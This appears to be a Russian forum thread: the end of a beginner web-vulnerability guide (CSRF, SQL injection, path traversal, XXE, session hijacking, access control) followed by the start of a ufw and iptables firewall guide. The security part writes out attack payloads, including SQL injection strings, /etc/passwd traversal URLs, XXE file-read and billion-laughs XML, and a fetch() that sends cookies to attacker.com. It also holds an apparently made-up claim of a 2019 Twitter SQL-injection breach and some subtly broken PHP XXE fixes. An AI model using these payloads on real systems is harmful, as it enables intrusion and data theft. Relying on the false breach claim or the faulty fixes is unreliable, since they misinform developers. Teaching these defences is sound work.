    // Выполняем перевод
    $to = $_POST['to'];
    $amount = $_POST['amount'];
    // ... логика перевода
    

    hash_equals() сравнивает строки защищенным от timing-атак способом.

    Пример на Node.js/Express:

    const express = require('express');
    const session = require('express-session');
    const csrf = require('csurf');
    const app = express();
    
    app.use(session({ secret: 'secret' }));
    app.use(express.urlencoded({ extended: false }));
    
    // Middleware для защиты CSRF
    const csrfProtection = csrf({ cookie: false });
    
    // Форма с CSRF-токеном
    app.get('/transfer', csrfProtection, (req, res) => {
        res.send(`
            <form action="/transfer" method="POST">
                <input type="hidden" name="_csrf" value="${req.csrfToken()}">
                <input name="to" placeholder="Кому">
                <input name="amount" placeholder="Сумма">
                <button type="submit">Отправить</button>
            </form>
        `);
    });
    
    // Обработка формы
    app.post('/transfer', csrfProtection, (req, res) => {
        // Middleware автоматически проверит токен
        const { to, amount } = req.body;
        // ... логика перевода
        res.send('Перевод выполнен');
    });
    

    2.2 SameSite Cookie флаг

    Современные браузеры поддерживают флаг SameSite для cookies. Этот флаг говорит: “Отправляй эту cookie только для запросов с одного домена”.

    Варианты:

    • SameSite=Strict — cookie отправляется только при прямом переходе на сайт (из адресной строки, закладок)
    • SameSite=Lax — cookie отправляется при переходах со ссылок, но не при POST-запросах с других сайтов
    • SameSite=None; Secure — cookie отправляется везде (нужен HTTPS)

    Пример:

    // В Response-заголовке
    setcookie('session_id', $value, [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => 'example.com',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Lax'
    ]);
    

    Если установить SameSite=Lax, браузер не отправит cookie при POST-запросе с evil.com, что сделает CSRF-атаку невозможной.

    2.3 Проверка Referer-заголовка

    Заголовок Referer указывает, с какого сайта пришёл запрос. Сервер может проверить, что запрос пришёл с его же домена:

    if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== $_SERVER['HTTP_HOST']) {
        die('Invalid referer');
    }
    

    Но это ненадёжно: пользователь может отключить отправку Referer в браузере.

    Лучший подход — комбинация методов

    Используйте одновременно:

    1. CSRF-токены — основная защита
    2. SameSite cookies — дополнительная линия защиты
    3. POST вместо GET — для всех критических действий

    3. SQL Injection — SQL-инъекция

    Что это такое

    SQL Injection — это атака, при которой злоумышленник внедряет SQL-код в пользовательский ввод, позволяя ему переписать запрос и выполнить произвольные команды в БД.

    Почему это опасно

    SQL-инъекция — одна из самых старых и опасных уязвимостей. Через неё можно:

    • Читать данные из любой таблицы
    • Изменять или удалять данные
    • Обходить аутентификацию
    • В некоторых системах даже выполнить код на сервере

    Как это работает

    Пример уязвивого кода:

    $username = $_POST['username'];
    $password = $_POST['password'];
    
    $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
    $result = mysqli_query($conn, $query);
    
    if (mysqli_num_rows($result) > 0) {
        // Пользователь найден
    }
    

    Атака 1: Обход аутентификации

    Злоумышленник вводит в поле username:

    ' OR '1'='1' --
    

    Запрос становится:

    SELECT * FROM users WHERE username = '' OR '1'='1' -- AND password = ''
    

    Условие '1'='1' всегда истинно, поэтому запрос вернёт всех пользователей. Символ -- комментирует остаток запроса.

    Если код проверяет только наличие результатов, атакующий получит доступ к первому же пользователю в таблице (часто это admin).

    Атака 2: Извлечение данных

    Представим форму поиска товаров:

    $id = $_GET['id'];
    $query = "SELECT * FROM products WHERE id = $id";
    

    Злоумышленник подставляет:

    1 UNION SELECT null, password, null FROM users WHERE id=1--
    

    Запрос становится:

    SELECT * FROM products WHERE id = 1 UNION SELECT null, password, null FROM users WHERE id=1--
    

    Он извлекает пароли из таблицы users, подделав результаты поиска товаров.

    Атака 3: Модификация данных

    1; UPDATE users SET password='hacked' WHERE username='admin';--
    

    Запрос становится:

    SELECT * FROM users WHERE id = 1; UPDATE users SET password='hacked' WHERE username='admin';--
    

    Здесь выполняются два запроса, и пароль администратора изменяется.

    Реальный пример: Столкновения с SQL-инъекцией происходят постоянно. В 2019 году была взломана Twitter через SQL-инъекцию, где хакеры получили доступ к 130 миллионам пользовательских записей.

    Защита от SQL Injection

    3.1 Параметризованные запросы (Prepared Statements)

    Это самый надёжный способ. Запрос отправляется в двух частях:

    1. Шаблон — структура запроса с плейсхолдерами
    2. Параметры — данные, которые подставляются в плейсхолдеры

    Плейсхолдеры не интерпретируются как SQL-код, поэтому инъекция невозможна.

    Пример на PHP (MySQLi):

    // ❌ УЯЗВИМО
    $query = "SELECT * FROM users WHERE username = '$username'";
    
    // ✅ ПРАВИЛЬНО
    $query = "SELECT * FROM users WHERE username = ?";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $result = $stmt->get_result();
    

    Пример на Node.js (PostgreSQL):

    const pg = require('pg');
    const client = new pg.Client();
    
    // ❌ УЯЗВИМО
    const query = `SELECT * FROM users WHERE username = '${username}'`;
    
    // ✅ ПРАВИЛЬНО
    const query = 'SELECT * FROM users WHERE username = $1';
    const result = await client.query(query, [username]);
    

    Пример на Python (SQLite):

    import sqlite3
    
    # ❌ УЯЗВИМО
    query = f"SELECT * FROM users WHERE username = '{username}'"
    
    # ✅ ПРАВИЛЬНО
    query = "SELECT * FROM users WHERE username = ?"
    cursor.execute(query, (username,))
    

    3.2 ORM-фреймворки

    ORM (Object-Relational Mapping) автоматически использует параметризованные запросы:

    Пример на Node.js (Sequelize):

    // Параметризованный запрос под капотом
    const user = await User.findOne({ where: { username } });
    

    Пример на Python (SQLAlchemy):

    # Параметризованный запрос
    user = session.query(User).filter(User.username == username).first()
    

    3.3 Валидация входных данных

    Всегда проверяйте, что получили ожидаемый тип и формат:

    $id = intval($_GET['id']); // Преобразуем в число
    if ($id <= 0) {
        die('Invalid ID');
    }
    $query = "SELECT * FROM products WHERE id = $id";
    

    3.4 Принцип наименьших привилегий

    Учётная запись БД, которая используется в приложении, должна иметь минимальные необходимые права:

    -- ❌ ОПАСНО
    CREATE USER app WITH PASSWORD 'pass';
    GRANT ALL PRIVILEGES ON DATABASE mydb TO app;
    
    -- ✅ ПРАВИЛЬНО
    CREATE USER app WITH PASSWORD 'pass';
    GRANT SELECT, INSERT, UPDATE ON tables TO app;
    -- Без DELETE, DROP, и других опасных команд
    

    Если хакер выполнит DROP TABLE, этот пользователь не сможет это сделать.

    Как обнаружить SQL-инъекцию на практике

    Поиск уязвимых параметров:

    Подставляйте специальные символы: ', ", ;, --, /*, и смотрите на ошибки SQL:

    https://example.com/product.php?id=1'
    https://example.com/product.php?id=1 OR 1=1
    https://example.com/product.php?id=1; DROP TABLE users;--
    

    Автоматизированные инструменты:

    • SQLMap — автоматически ищет и эксплуатирует SQL-инъекции
    • Burp Suite — профессиональный инструмент для тестирования безопасности

    4. Path Traversal — обход директорий

    Что это такое

    Path Traversal — это атака, при которой злоумышленник читает или модифицирует файлы за пределами предназначенной директории.

    Как это работает

    Представим приложение, которое отправляет файлы из папки /var/www/uploads:

    $file = $_GET['file'];
    $path = "/var/www/uploads/" . $file;
    $content = file_get_contents($path);
    echo $content;
    

    Для просмотра файла picture.jpg используется:

    https://example.com/download.php?file=picture.jpg
    

    Но что если вместо picture.jpg подставить ../../../etc/passwd?

    https://example.com/download.php?file=../../../etc/passwd
    

    Путь становится:

    /var/www/uploads/../../../etc/passwd
    

    Который упрощается до:

    /etc/passwd
    

    Файл /etc/passwd содержит имена всех пользователей системы (и хешированные пароли). Атакующий получает ценную информацию.

    Реальный пример: Множество веб-приложений для скачивания файлов имели такие уязвимости. Злоумышленники получали доступ к конфигурационным файлам (.env, config.php), где хранятся пароли от БД.

    Другие варианты атак

    Альтернативная кодировка:

    https://example.com/download.php?file=..%2F..%2F..%2Fetc%2Fpasswd
    

    Здесь %2F — это URL-кодировка /.

    Абсолютный путь:

    https://example.com/download.php?file=/etc/passwd
    

    В некоторых языках (например, на .NET) абсолютный путь игнорирует базовую директорию.

    Защита от Path Traversal

    4.1 Избегайте конкатенации путей

    ❌ УЯЗВИМО:

    $file = $_GET['file'];
    $path = "/var/www/uploads/" . $file;
    

    ✅ ПРАВИЛЬНО:

    // Проверяем, что путь не содержит ..
    $file = $_GET['file'];
    if (strpos($file, '..') !== false) {
        die('Invalid path');
    }
    $path = "/var/www/uploads/" . $file;
    

    Но это не надёжно! Можно использовать кодировку или другие обходы.

    4.2 Используйте белый список

    Лучше всего — явно указать, какие файлы доступны:

    $allowed_files = ['picture.jpg', 'document.pdf', 'report.xlsx'];
    $file = $_GET['file'];
    
    if (!in_array($file, $allowed_files)) {
        die('File not allowed');
    }
    
    $path = "/var/www/uploads/" . $file;
    $content = file_get_contents($path);
    

    4.3 Используйте встроенные функции

    Функция realpath() преобразует путь в абсолютный и разрешает все ../:

    $file = $_GET['file'];
    $base_dir = realpath("/var/www/uploads");
    $real_path = realpath("/var/www/uploads/" . $file);
    
    // Проверяем, что результирующий путь начинается с базовой директории
    if (strpos($real_path, $base_dir) !== 0) {
        die('Access denied');
    }
    
    $content = file_get_contents($real_path);
    

    На Node.js:

    const path = require('path');
    const fs = require('fs');
    
    const baseDir = path.resolve(__dirname, 'uploads');
    const file = req.query.file;
    const fullPath = path.resolve(baseDir, file);
    
    // Проверяем, что путь внутри baseDir
    if (!fullPath.startsWith(baseDir)) {
        return res.status(403).send('Access denied');
    }
    
    fs.readFile(fullPath, (err, data) => {
        if (err) return res.status(404).send('Not found');
        res.send(data);
    });
    

    4.4 Используйте ID вместо имён файлов

    Самый надёжный подход — хранить файлы в БД или использовать ID:

    $file_id = (int)$_GET['id']; // Приводим к числу
    $row = $db->query("SELECT filename FROM files WHERE id = ?", [$file_id]);
    $real_filename = $row['filename'];
    $path = "/var/www/uploads/" . $real_filename;
    $content = file_get_contents($path);
    

    Теперь атакующий не может просто угадать пути, потому что файлы идентифицируются по ID, а не по имени.


    5. XXE (XML External Entity Injection)

    Что это такое

    XXE — это атака, при которой злоумышленник внедряет вредоносные XML-сущности, чтобы получить доступ к файлам на сервере или выполнить атаку типа SSRF.

    Как это работает

    XML поддерживает внешние сущности — ссылки на файлы. Если приложение неправильно настроено, сущности могут быть использованы для чтения файлов.

    Пример уязвивого кода:

    $xml = $_POST['xml'];
    $dom = new DOMDocument();
    $dom->load('php://memory', $xml); // ОПАСНО: загружает XML без проверки
    

    Вредоносный XML:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <shop>
      <itemID>&xxe;</itemID>
    </shop>
    

    При парсинге XML-парсер подставит содержимое файла /etc/passwd вместо &xxe;. Если приложение выводит значение itemID, атакующий прочитает содержимое файла.

    Более сложный пример — SSRF-атака:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
    ]>
    <data>
      <request>&xxe;</request>
    </data>
    

    Здесь XML-парсер делает запрос к внутреннему серверу (который недоступен извне), и результат попадает в ответ.

    Billion Laughs DoS-атака:

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    ]>
    <lolz>&lol4;</lolz>
    

    Каждый уровень умножает данные в 10 раз. lol4 содержит 10 миллиардов “lol”. XML-парсер исчерпывает память и падает.

    Защита от XXE

    5.1 Отключите внешние сущности

    На PHP:

    $dom = new DOMDocument();
    $dom->load($file);
    
    // Отключаем обработку внешних сущностей
    libxml_disable_entity_loader(true);
    

    Или используйте libxml_set_external_entity_loader:

    libxml_set_external_entity_loader(function($public, $system, $context) {
        return false; // Блокируем все внешние сущности
    });
    

    На Node.js (с использованием xml2js😞

    const xml2js = require('xml2js');
    
    const parser = new xml2js.Parser({
        strict: false,
        dtdtolower: false,
        normalize: false,
        normalizeTags: false,
        attrNameProcessors: undefined,
        attrValueProcessors: undefined,
        xmldecl: true,
        doctype: true,
        doctypeFn: function(doctype) {
            // Блокируем DOCTYPE
            throw new Error('DOCTYPE not allowed');
        }
    });
    

    На Python:

    from lxml import etree
    
    # Отключаем внешние сущности
    parser = etree.XMLParser(resolve_entities=False, remove_blank_text=True)
    tree = etree.parse(xml_file, parser)
    

    Или используйте более строгие настройки:

    from defusedxml.ElementTree import parse as defused_parse
    
    # Использует безопасный парсер по умолчанию
    tree = defused_parse(xml_file)
    

    5.2 Валидируйте XML-схему

    Используйте XML Schema (XSD) для определения, какие элементы и атрибуты допустимы:

    $dom = new DOMDocument();
    $dom->load($xml_file);
    
    $schema_file = 'schema.xsd';
    if (!$dom->schemaValidate($schema_file)) {
        die('XML does not match schema');
    }
    

    5.3 Используйте безопасные библиотеки

    Используйте специализированные библиотеки для работы с XML:

    • defusedxml (Python)
    • xml2js (Node.js) с правильной конфигурацией
    • OWASP ESAPI (Java, .NET)

    6. Broken Authentication и Session Hijacking

    Что это такое

    Broken Authentication — это класс уязвимостей, связанных с неправильной реализацией аутентификации и управления сессиями.

    Session Hijacking — это атака, при которой злоумышленник крадёт Session ID и выдаёт себя за другого пользователя.

    Как это работает

    Сценарий атаки:

    1. Пользователь логинится на сайте
    2. Сервер генерирует Session ID (например: abc123def456) и отправляет его в cookie
    3. Браузер пользователя отправляет эту cookie со всеми запросами
    4. Злоумышленник каким-то образом получает этот Session ID
    5. Злоумышленник подставляет украденный Session ID в своём браузере
    6. Сервер считает, что это авторизованный пользователь

    Как можно украсть Session ID:

    1. Открытая Wi-Fi — если сайт использует HTTP вместо HTTPS, трафик передаётся в открытом виде. Хакер с помощью сниффера (tcpdump, Wireshark) перехватывает cookies.

    2. XSS-атака — вредоносный скрипт читает cookies:

    fetch('https://attacker.com/steal?cookies=' + document.cookie);
    
    1. Небезопасное хранилище — если Session ID хранится в localStorage в открытом виде, XSS может его украсть.

    2. Predictable Session ID — если Session ID легко угадать (например, просто номер, который увеличивается), атакующий может перебрать ID всех пользователей.

    Защита

    6.1 Используйте HTTPS

    HTTPS шифрует весь трафик между браузером и сервером. Session ID передаётся в зашифрованном виде и не может быть перехвачен по открытой Wi-Fi.

    // Принудительно редиректим на HTTPS
    if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === "off") {
        $url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
        header("Location: $url");
        exit;
    }
    

    6.2 HttpOnly флаг для cookies

    Флаг HttpOnly запрещает JavaScript доступ к cookie:

    setcookie('session_id', $value, [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => 'example.com',
        'secure' => true,      // Только HTTPS
        'httponly' => true,    // Недоступна для JavaScript
        'samesite' => 'Lax'    // Защита от CSRF
    ]);
    

    Теперь даже если на сайте есть XSS, скрипт не сможет прочитать session cookie.

    6.3 Генерируйте криптографически стойкие Session ID

    ❌ СЛАБО:

    $session_id = rand(1, 1000000); // Легко угадать
    

    ✅ ПРАВИЛЬНО:

    $session_id = bin2hex(random_bytes(32)); // 64 символа, криптографически стойкий
    

    6.4 Используйте встроенные функции

    Большинство фреймворков имеют встроенное управление сессиями:

    На PHP:

    session_start();
    $_SESSION['user_id'] = $user_id;
    // Session ID генерируется автоматически и безопасно
    

    На Node.js (Express + express-session):

    const session = require('express-session');
    
    app.use(session({
        secret: process.env.SESSION_SECRET, // Сильный секрет
        resave: false,
        saveUninitialized: true,
        cookie: {
            secure: true,    // Только HTTPS
            httpOnly: true,  // Недоступна для JS
            sameSite: 'Lax'
        }
    }));
    

    6.5 Регенерируйте Session ID при логине

    Если Session ID не меняется при входе, атакующий может использовать угаданный ID для входа, если он был сгенерирован до аутентификации.

    session_start();
    
    // Проверяем пароль...
    if ($password_correct) {
        session_regenerate_id(true); // Меняем Session ID
        $_SESSION['user_id'] = $user_id;
    }
    

    6.6 Добавляйте дополнительные проверки

    Храните дополнительную информацию о сессии и проверяйте её:

    session_start();
    
    // При создании сессии
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
    
    // При каждом запросе
    if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT'] ||
        $_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
        session_destroy();
        die('Session tampering detected');
    }
    

    Если IP или User Agent изменился, это подозрительно. Злоумышленник использует сессию с другого компьютера/браузера.


    7. Broken Access Control — нарушенный контроль доступа

    Что это такое

    Broken Access Control возникает, когда приложение не проверяет, имеет ли пользователь право на доступ к ресурсу.

    Как это работает

    Пример 1: Прямой доступ к объектам (IDOR)

    Приложение имеет API для получения счёта пользователя:

    GET /api/account/123
    

    Сервер возвращает данные счёта пользователя с ID 123. Но приложение не проверяет, принадлежит ли этот счёт текущему пользователю!

    Злоумышленник может просто изменить ID:

    GET /api/account/456
    GET /api/account/789
    

    И получить доступ к чужим счетам.

    Пример 2: Отсутствие проверки прав

    Панель администратора находится по адресу /admin. Приложение просто проверяет, авторизован ли пользователь, но не проверяет, является ли он администратором:

    if (!isset($_SESSION['user_id'])) {
        die('Not authorized');
    }
    // Дальше выводим админ-панель...
    

    Обычный пользователь может просто открыть /admin и получить доступ.

    Защита

    7.1 Всегда проверяйте права доступа

    // ❌ НЕПРАВИЛЬНО
    function getAccount($account_id) {
        $result = $db->query("SELECT * FROM accounts WHERE id = ?", [$account_id]);
        return $result;
    }
    
    // ✅ ПРАВИЛЬНО
    function getAccount($account_id, $user_id) {
        $result = $db->query(
            "SELECT * FROM accounts WHERE id = ? AND user_id = ?",
            [$account_id, $user_id]
        );
        if (!$result) {
            throw new Exception('Access denied');
        }
        return $result;
    }
    

    7.2 Используйте роли и разрешения

    Создайте систему ролей:

    $user_roles = $db->query("SELECT role FROM user_roles WHERE user_id = ?", [$user_id]);
    
    function canAccess($resource, $user_id) {
        $roles = $db->query("SELECT role FROM user_roles WHERE user_id = ?", [$user_id]);
        
        foreach ($roles as $role) {
            $permissions = $db->query(
                "SELECT permission FROM role_permissions WHERE role = ?",
                [$role['role']]
            );
            
            foreach ($permissions as $perm) {
                if ($perm['permission'] === $resource) {
                    return true;
                }
            }
        }
        return false;
    }
    
    // Использование
    if (!canAccess('/admin', $user_id)) {
        die('Access denied');
    }
    

    7.3 Используйте middleware для проверки прав

    На Node.js/Express:

    function requireAdmin(req, res, next) {
        if (req.user && req.user.role === 'admin') {
            next();
        } else {
            res.status(403).send('Access denied');
        }
    }
    
    app.get('/admin', requireAdmin, (req, res) => {
        // Только администратор может сюда попасть
    });
    

    7.4 Используйте принцип наименьших привилегий

    По умолчанию запрещайте всё, потом явно разрешайте:

    $permission = false;
    
    if ($user['role'] === 'admin') {
        $permission = true;
    } elseif ($user['role'] === 'moderator' && $resource_type === 'comments') {
        $permission = true;
    }
    
    if (!$permission) {
        die('Access denied');
    }
    

    Общие принципы защиты

    Эти рекомендации помогут защитить от большинства уязвимостей:

    1. Валидируйте ВСЕ входные данные

    // ✅ ХОРОШО
    $email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
    if (!$email) {
        die('Invalid email');
    }
    
    $age = filter_var($_POST['age'], FILTER_VALIDATE_INT, [
        'options' => ['min_range' => 0, 'max_range' => 150]
    ]);
    if ($age === false) {
        die('Invalid age');
    }
    

    2. Экранируйте при выводе

    Преобразуйте опасные символы перед выводом в HTML, JavaScript, SQL, и т.д.:

    // ✅ В HTML
    echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
    
    // ✅ В JavaScript (на сервере)
    echo json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    
    // ✅ В SQL (используйте параметризованные запросы)
    $stmt = $db->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$user_id]);
    

    3. Используйте параметризованные запросы

    Всегда передавайте данные отдельно от кода:

    // ❌ ОПАСНО
    $query = "SELECT * FROM users WHERE name = '$name'";
    
    // ✅ ПРАВИЛЬНО
    $stmt = $db->prepare("SELECT * FROM users WHERE name = ?");
    $stmt->execute([$name]);
    

    4. Используйте HTTPS

    Все критические данные должны передаваться в зашифрованном виде.

    5. Логируйте и мониторьте

    Ведите логи всех операций, особенно связанных с аутентификацией и доступом к критичным ресурсам:

    function log_access($user_id, $resource, $success) {
        $log = [
            'timestamp' => date('Y-m-d H:i:s'),
            'user_id' => $user_id,
            'resource' => $resource,
            'success' => $success,
            'ip' => $_SERVER['REMOTE_ADDR']
        ];
        
        file_put_contents('access.log', json_encode($log) . "\n", FILE_APPEND);
    }
    

    6. Обновляйте зависимости

    Используйте последние версии библиотек и фреймворков. Старые версии могут содержать известные уязвимости:

    # PHP
    composer update
    
    # Node.js
    npm audit fix
    
    # Python
    pip install --upgrade package_name
    

    7. Регулярно тестируйте безопасность

    • Используйте инструменты для автоматического сканирования (OWASP ZAP, Burp Suite)
    • Проводите ревью кода
    • Выполняйте пентест регулярно

    Инструменты для тестирования

    Для обнаружения уязвимостей:

    1. OWASP ZAP — бесплатный сканер для веб-приложений
    2. Burp Suite Community — профессиональный инструмент (платная версия)
    3. SQLMap — специализированный для SQL-инъекций
    4. Nikto — для сканирования веб-серверов

    Для проверки кода:

    1. SonarQube — статический анализ кода
    2. Checkmarx — поиск уязвимостей в коде
    3. Semgrep — открытый инструмент для поиска паттернов уязвимостей

    Для тестирования на проникновение:

    1. Metasploit — framework для пентеста
    2. Kali Linux — ОС со встроенными инструментами безопасности

    Заключение

    Web-уязвимости — это серьёзная проблема, но с ними можно и нужно бороться. Ключевые моменты:

    • XSS — экранируйте данные, используйте CSP
    • CSRF — используйте токены, SameSite cookies
    • SQL Injection — используйте параметризованные запросы
    • Path Traversal — валидируйте пути, используйте белый список
    • XXE — отключайте внешние сущности
    • Broken Auth — используйте HTTPS, HttpOnly cookies, криптографически стойкие Session ID
    • Broken Access Control — всегда проверяйте права доступа

    Помните: безопасность — это не одноразовое действие, а непрерывный процесс. Обновляйте код, тестируйте, учитесь на чужих ошибках.

    Успехов в разработке безопасных приложений!


    0 0 1 Ответить
  • MugiwaraM
    Mugiwara
    Гайд для новичков: Firewall (ufw, iptables) — правила, порты, фильтрация трафика

    Firewall (брандмауэр) — это охранник на входе вашего сервера. Его задача — пропускать только нужный трафик и блокировать всё остальное. Представьте, что ваш сервер — это офис:

    • Без firewall: двери открыты всем. Заходит кто угодно, включая злоумышленников.
    • С firewall: охранник на входе проверяет каждого. Допускает только тех, у кого правильные документы (разрешённые подключения).

    По умолчанию в Linux установлена система iptables — это мощный инструмент фильтрации трафика на уровне ядра. Но iptables имеет сложный синтаксис. Поэтому появился ufw (Uncomplicated Firewall) — упрощённый интерфейс над iptables, который переводит простые команды в сложные iptables-правила.

    Важные концепции

    Что такое портЭто канал связи. Каждое приложение слушает трафик на своём порту.

    Типы портов:

    • 0–1023 — системные (зарезервированные) порты. Требуют прав администратора.
      • 22 — SSH (удалённое управление)
      • 80 — HTTP (веб-сайты без шифрования)
      • 443 — HTTPS (веб-сайты с шифрованием)
      • 21 — FTP (передача файлов, устаревший)
      • 25, 587 — SMTP (отправка почты)
      • 110, 143 — POP3, IMAP (получение почты)
      • 53 — DNS (переводит имена в IP-адреса)
    • 1024–49151 — зарегистрированные порты. Используют приложения.
    • 49152–65535 — динамические (ephemeral) порты. Система назначает их временно.

    TCP и UDP — разница

    Трафик по сети может идти двумя протоколами:

    Характеристика TCP UDP
    Надёжность Гарантирует доставку всех пакетов в правильном порядке Пакеты могут потеряться, но быстро
    Скорость Медленнее (из-за проверок) Быстрее
    Когда использовать SSH, HTTP, HTTPS, FTP, Email — где важна целостность данных Онлайн-игры, видеозвонки, DNS — где важна скорость
    Пример Вы отправляете письмо — оно должно дойти полностью Вы смотрите видео — потеря пары кадров некритична

    Важно: TCP-порт 22 отличается от UDP-порта 22. Это разные каналы!

    Stateful firewall (с отслеживанием состояния)

    UFW и iptables работают как stateful firewalls. Это означает, что они запоминают установленные соединения и разрешают ответные пакеты без дополнительных правил.

    Пример: Вы подключаетесь к серверу SSH (порт 22). После проверки первого пакета firewall запоминает это соединение. Ответный трафик от сервера пропускается автоматически, даже если нет явного разрешающего правила для него.

    Это значит, что вам не нужно писать два правила — одно для входящего, одно для исходящего трафика для каждого соединения.

    Архитектура iptables

    UFW работает над iptables, поэтому важно понимать его структуру.

    iptables
      ├── Таблицы (tables)
      │   ├── filter (фильтрация трафика) — **используется в 99% случаев**
      │   ├── nat (преобразование адресов)
      │   ├── mangle (изменение пакетов)
      │   ├── raw (исключения из отслеживания)
      │   └── security (правила безопасности)
      │
      └── Цепи (chains) — последовательности правил
          ├── INPUT (входящий трафик)
          ├── OUTPUT (исходящий трафик)
          └── FORWARD (форвардинг через машину, как роутер)
    

    Таблица filter

    Таблица filter — это то, где вы выполняете классическую фильтрацию:

    INPUT — пакеты, пришедшие на ваш сервер

    Внешний хост → [Твой сервер] (INPUT правила применяются здесь)
    

    Используется для блокировки/разрешения входящих подключений (SSH, HTTP, HTTPS).

    OUTPUT — пакеты, отправляемые вашим сервером

    [Твой сервер] → (OUTPUT правила применяются здесь) → Внешний хост
    

    По умолчанию разрешены все исходящие пакеты. Можно запретить, если нужна максимальная безопасность.

    FORWARD — пакеты, которые проходят через вашу машину (используется только если вы настраиваете маршрутизацию)

    Сеть A → [Твой сервер как роутер] → (FORWARD правила) → Сеть B
    

    Для обычного сервера FORWARD не используется.

    Порядок применения правил

    Правила проверяются сверху вниз до первого совпадения. Как только найдено правило, применяется его действие и дальше проверок не идёт.

    Важно: порядок правил критичен!

    Правило 1: DENY из 10.0.0.37
    Правило 2: ALLOW из сети 10.0.0.0/24
    

    Если 10.0.0.37 подключится, сработает правило 1 и соединение заблокируется. Правило 2 никогда не сработает для этого IP.

    Если поменять местами:

    Правило 1: ALLOW из сети 10.0.0.0/24
    Правило 2: DENY из 10.0.0.37
    

    Тогда 10.0.0.37 будет разрешен по правилу 1, правило 2 игнорируется.

    UFW — интерфейс для новичков

    Начало работы с UFW

    UFW по умолчанию отключен. Перед включением обязательно добавьте правило для SSH (иначе заблокируете себя!):

    sudo ufw allow 22
    sudo ufw enable
    

    Проверить статус:

    sudo ufw status verbose
    

    Вывод будет примерно такой:

    Status: active
    Default: deny incoming, allow outgoing, disabled routed
    

    Это означает:

    • deny incoming — по умолчанию все входящие пакеты блокируются
    • allow outgoing — исходящий трафик разрешён
    • disabled routed — форвардинг отключен

    Основной синтаксис UFW

    sudo ufw allow <PORT>[/<PROTOCOL>] [from <IP|NETWORK>] [to <IP>] [comment "КОММЕНТАРИЙ"]
    sudo ufw deny <PORT>[/<PROTOCOL>] [from <IP|NETWORK>] [to <IP>] [comment "КОММЕНТАРИЙ"]
    sudo ufw delete allow <PORT>[/<PROTOCOL>] [from <IP|NETWORK>]
    

    где:

    • <PORT> — номер порта (22, 80, 443)
    • <PROTOCOL> — tcp или udp (если не указать, применяется к обоим)
    • <IP|NETWORK> — конкретный IP или подсеть (192.168.1.0/24)
    • comment — описание правила (очень полезно!)

    Примеры правил UFW

    Разрешить входящий SSH со всех IP:

    sudo ufw allow 22/tcp comment "SSH access"
    

    или просто:

    sudo ufw allow ssh
    

    UFW знает имена популярных сервисов (ssh, http, https, ftp).

    Разрешить HTTP и HTTPS (веб-сервер):

    sudo ufw allow 80/tcp comment "HTTP"
    sudo ufw allow 443/tcp comment "HTTPS"
    

    или за раз (в версиях поновее):

    sudo ufw allow 80,443/tcp
    

    Запретить трафик на порт 23 (старый Telnet — небезопасен):

    sudo ufw deny 23/tcp comment "Block Telnet"
    

    Разрешить SSH только с конкретного IP:

    sudo ufw allow from 192.168.1.100 to any port 22 comment "SSH from office"
    

    Разрешить SSH с целой подсети:

    sudo ufw allow from 192.168.1.0/24 to any port 22 comment "SSH from internal network"
    

    Запретить конкретный IP, но разрешить остальных из подсети:

    sudo ufw allow from 192.168.1.0/24 to any port 22 comment "Allow network"
    sudo ufw insert 1 deny from 192.168.1.50 to any port 22 comment "Block one host"
    

    Вставляем правило блокировки в позицию 1 (самое начало), чтобы оно проверилось первым.

    Ограничить количество подключений (защита от brute-force SSH):

    sudo ufw limit 22/tcp comment "Rate limit SSH"
    

    Это ограничит соединения: максимум 6 подключений за 30 секунд. После превышения есть пауза перед следующей попыткой.

    Разрешить трафик на диапазон портов (пассивный FTP):

    sudo ufw allow 40000:50000/tcp comment "Passive FTP"
    

    Разрешить входящие соединения только на интерфейс eth0:

    sudo ufw allow in on eth0 from 10.0.0.0/24 to any port 22
    

    Используется, если на машине несколько сетевых интерфейсов.

    Блокировать исходящий трафик на конкретный IP (продвинутое правило):

    sudo ufw deny out on eth0 to 8.8.8.8 comment "Block outgoing to Google DNS"
    

    Просмотр правил

    Список правил в неупорядоченном виде:

    sudo ufw status
    

    Вывод:

    Status: active
    
    To                         Action      From
    --                         ------      ----
    22/tcp                     ALLOW IN    Anywhere
    80/tcp                     ALLOW IN    Anywhere
    443/tcp                     ALLOW IN    Anywhere
    

    Список с номерами (нужно для удаления):

    sudo ufw status numbered
    

    Вывод:

         To                         Action      From
         --                         ------      ----
    [ 1] 22/tcp                     ALLOW IN    Anywhere
    [ 2] 80/tcp                     ALLOW IN    Anywhere
    [ 3] 443/tcp                     ALLOW IN    Anywhere
    

    Подробный список с информацией о логировании:

    sudo ufw status verbose
    

    Удаление правил

    По номеру (проще):

    sudo ufw status numbered
    sudo ufw delete 2
    

    После удаления номера остальных правил сдвигаются вверх!

    По полной спецификации:

    sudo ufw delete allow 80/tcp
    

    Спецификация должна точно совпадать с исходным правилом.

    Очистить все правила и отключить firewall:

